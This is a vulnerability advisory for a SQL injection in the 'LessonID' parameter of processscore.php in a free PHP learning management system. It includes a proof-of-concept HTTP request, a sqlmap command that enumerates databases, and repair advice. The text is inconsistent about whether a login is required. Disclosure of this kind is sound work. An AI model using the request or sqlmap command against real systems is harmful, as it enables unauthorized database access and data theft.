Itsourcecode Learning Management System Project In PHP With Source Code v1.0 processscore.php SQL injection

[ganzhi-qcy]

Itsourcecode Learning Management System Project In PHP With Source Code v1.0 processscore.php SQL injection

NAME OF AFFECTED PRODUCT(S)

• Learning Management System Project In PHP With Source Code

Vendor Homepage

• https://itsourcecode.com/free-projects/php-project/learning-management-system-project-in-php-with-source-code/

AFFECTED AND/OR FIXED VERSION(S)

submitter

• quchunyi,yaomingjun,luowenwei,zhangxin,chenshan,tianbeibei,fengyilin,maqiutong,fuweidong,lishudong at Guangzhou University

Vulnerable File

• processscore.php

VERSION(S)

• V1.0

Software Link

• https://itsourcecode.com/wp-content/uploads/2020/07/e-learningsystem1.zip

PROBLEM TYPE

Vulnerability Type

• SQL injection

Root Cause

• A SQL injection vulnerability was found in the 'processscore.php' file of the 'Learning Management System Project In PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "LessonID" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.

Impact

• Attackers only need to use registered regular users to exploit this SQL injection vulnerability for unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.

DESCRIPTION

• Due to insufficient user input validation for the "LessonID" parameter, a serious SQL injection vulnerability was discovered in the login function of the " Learning Management System Project In PHP", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information without logging in. Immediate remedial measures are needed to ensure system security and protect data integrity.

Vulnerability details and POC

POST /e-learningsystem/processscore.php HTTP/1.1
Host: 192.168.210.199:1219
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://192.168.210.199:1219
Connection: close
Referer: http://192.168.210.199:1219/e-learningsystem/index.php?q=question&id=13
Cookie: pma_lang=zh_CN; pmaUser-1=%7B%22iv%22%3A%222T%2BMueTAdnaYJr638sus9Q%3D%3D%22%2C%22mac%22%3A%22aeefe425df2eedf371265d531acc62d51d27ace6%22%2C%22payload%22%3A%22Iwd6JQVnby0iCN7HDf%5C%2Ft%2BA%3D%3D%22%7D; PHPSESSID=ppe812s4vcivcd0n7tejmm9h02; phpMyAdmin=knrled68keeu9effitj3qm14ou; pmaAuth-1=%7B%22iv%22%3A%22GuoLVn3EVdv52L2PoqpdLQ%3D%3D%22%2C%22mac%22%3A%22813dc32d567276769b1a3b17f2e8f0b01f016a66%22%2C%22payload%22%3A%22Dbz5Kzgb14vdbjhZ14CSLXm8%5C%2FnLwvaLBOUlgX1hSWbM%3D%22%7D
Upgrade-Insecure-Requests: 1
Priority: u=1

LessonID=13&btnSubmit=

Vulnerability type:

• time-based blind
• boolean-based blind

Vulnerability location:

• 'LessonID' parameter

Payload:

The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:

sqlmap -u 192.168.210.199:1219/e-learningsystem/processscore.php --data="LessonID=13&btnSubmit=" --method=POST --batch --dbs 

# Suggested repair

1. Use prepared statements and parameter binding:
   Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

2. Input validation and filtering:
   Strictly validate and filter user input data to ensure it conforms to the expected format.

3. Minimize database user permissions:
   Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

4. Regular security audits:
   Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.